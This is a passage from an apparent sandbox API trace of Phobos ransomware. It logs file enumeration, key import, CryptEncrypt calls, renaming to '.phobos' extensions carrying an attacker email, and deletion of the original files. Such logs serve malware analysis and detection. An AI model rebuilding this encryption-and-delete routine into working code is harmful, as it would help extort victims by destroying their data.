dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0139.952] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0139.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0139.953] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x753018) returned 1 [0139.953] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0139.953] ReadFile (in: hFile=0x308, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x17e40, lpOverlapped=0x0) returned 1 [0140.003] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x17e50, dwBufLen=0x17e50 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x17e50) returned 1 [0140.003] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x17e50, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x17e50, lpOverlapped=0x0) returned 1 [0140.005] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x753198) returned 1 [0140.005] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0140.005] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0140.005] CryptDestroyKey (hKey=0x753198) returned 1 [0140.005] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0140.005] CryptDestroyKey (hKey=0x753018) returned 1 [0140.005] CloseHandle (hObject=0x308) returned 1 [0140.005] CloseHandle (hObject=0x2f4) returned 1 [0140.005] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll")) returned 1 [0140.007] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0140.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0140.007] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=15424) returned 1 [0140.007] CloseHandle (hObject=0x2f4) returned 1 [0140.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll")) returned 0x20 [0140.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0140.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0140.007] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0140.008] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0140.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0140.008] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752cd8) returned 1 [0140.008] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0140.008] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x3c40, lpOverlapped=0x0) returned 1 [0140.041] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x3c50, dwBufLen=0x3c50 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x3c50) returned 1 [0140.041] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x3c50, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x3c50, lpOverlapped=0x0) returned 1 [0140.042] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752e58) returned 1 [0140.042] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0140.042] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0140.042] CryptDestroyKey (hKey=0x752e58) returned 1 [0140.042] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0140.042] CryptDestroyKey (hKey=0x752cd8) returned 1 [0140.042] CloseHandle (hObject=0x2f4) returned 1 [0140.042] CloseHandle (hObject=0x308) returned 1 [0140.042] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll")) returned 1 [0140.043] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0140.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0140.043] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=16448) returned 1 [0140.043] CloseHandle (hObject=0x308) returned 1 [0140.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe")) returned 0x20 [0140.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0140.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0140.044] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0140.044] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0140.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0140.044] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752cd8) returned 1 [0140.044] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0140.044] ReadFile (in: hFile=0x308, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x4040, lpOverlapped=0x0) returned 1 [0140.046] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x4050, dwBufLen=0x4050 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x4050) returned 1 [0140.046] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x4050, lpOverlapped=0x0) returned 1 [0140.047] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752ad8) returned 1 [0140.047] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0140.047] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0140.047] CryptDestroyKey (hKey=0x752ad8) returned 1 [0140.047] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0140.047] CryptDestroyKey (hKey=0x752cd8) returned 1 [0140.047] CloseHandle (hObject=0x308) returned 1 [0140.047] CloseHandle (hObject=0x2f4) returned 1 [0140.047] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe")) returned 1 [0140.048] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0140.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0140.048] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=18677760) returned 1 [0140.048] CloseHandle (hObject=0x2f4) returned 1 [0140.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa")) returned 0x21 [0140.049] SetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x20) returned 1 [0140.049] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0140.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0140.055] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe38 | out: lpNewFilePointer=0x0) returned 1 [0140.055] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe38 | out: lpNewFilePointer=0x0) returned 1 [0140.055] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d4fe44, lpOverlapped=0x0 | out: lpBuffer=0x3111058*, lpNumberOfBytesRead=0x2d4fe44*=0x40000, lpOverlapped=0x0) returned 1 [0140.140] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe38 | out: lpNewFilePointer=0x0) returned 1 [0140.140] ReadFile (hFile=0x2f4, lpBuffer=0x3151058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d4fe44, lpOverlapped=0x0) Thread: id = 295 os_tid = 0xcf4 [0132.044] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10000) returned 0x2bb0098 [0132.045] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10000) returned 0x2bc00a0 [0132.045] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x28) returned 0xf1a6f0 [0132.045] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x110102) returned 0x3235020 [0132.047] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x50) returned 0xf1a720 [0132.047] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f700, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f768 | out: phKey=0x2e8f768*=0x7391a8) returned 1 [0132.047] CryptSetKeyParam (hKey=0x7391a8, dwParam=0x1, pbData=0x2e8f750, dwFlags=0x0) returned 1 [0132.047] CryptDecrypt (in: hKey=0x7391a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf1a720, pdwDataLen=0x2e8f71c | out: pbData=0xf1a720, pdwDataLen=0x2e8f71c) returned 1 [0132.047] CryptDestroyKey (hKey=0x7391a8) returned 1 [0132.048] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x759a0000 [0132.048] GetProcAddress (hModule=0x759a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x759b6b30 [0132.048] Wow64DisableWow64FsRedirection (in: OldValue=0x2e8f7b4 | out: OldValue=0x2e8f7b4*=0x0) returned 1 [0132.048] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf1a720 | out: hHeap=0xf10000) returned 1 [0132.048] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0132.221] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.221] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.222] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.222] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.222] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=0) returned 1 [0132.222] CloseHandle (hObject=0x2b4) returned 1 [0132.222] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.222] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.222] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=0) returned 1 [0132.222] CloseHandle (hObject=0x2b4) returned 1 [0132.222] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.222] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.222] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=77664) returned 1 [0132.223] CloseHandle (hObject=0x2b4) returned 1 [0132.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0132.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.223] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.223] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.223] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.224] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=95648) returned 1 [0132.224] CloseHandle (hObject=0x2b4) returned 1 [0132.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0132.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\bootspaces.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.224] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.224] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.224] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.224] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=99744) returned 1 [0132.224] CloseHandle (hObject=0x2b4) returned 1 [0132.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0132.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\bootvhd.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.224] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.225] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.225] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.225] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=76632) returned 1 [0132.225] CloseHandle (hObject=0x2b4) returned 1 [0132.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0132.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.225] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.225] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.225] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.225] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=45472) returned 1 [0132.225] CloseHandle (hObject=0x2b4) returned 1 [0132.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0132.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.225] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.226] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.226] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.226] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=75616) returned 1 [0132.226] CloseHandle (hObject=0x2b4) returned 1 [0132.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0132.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.226] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 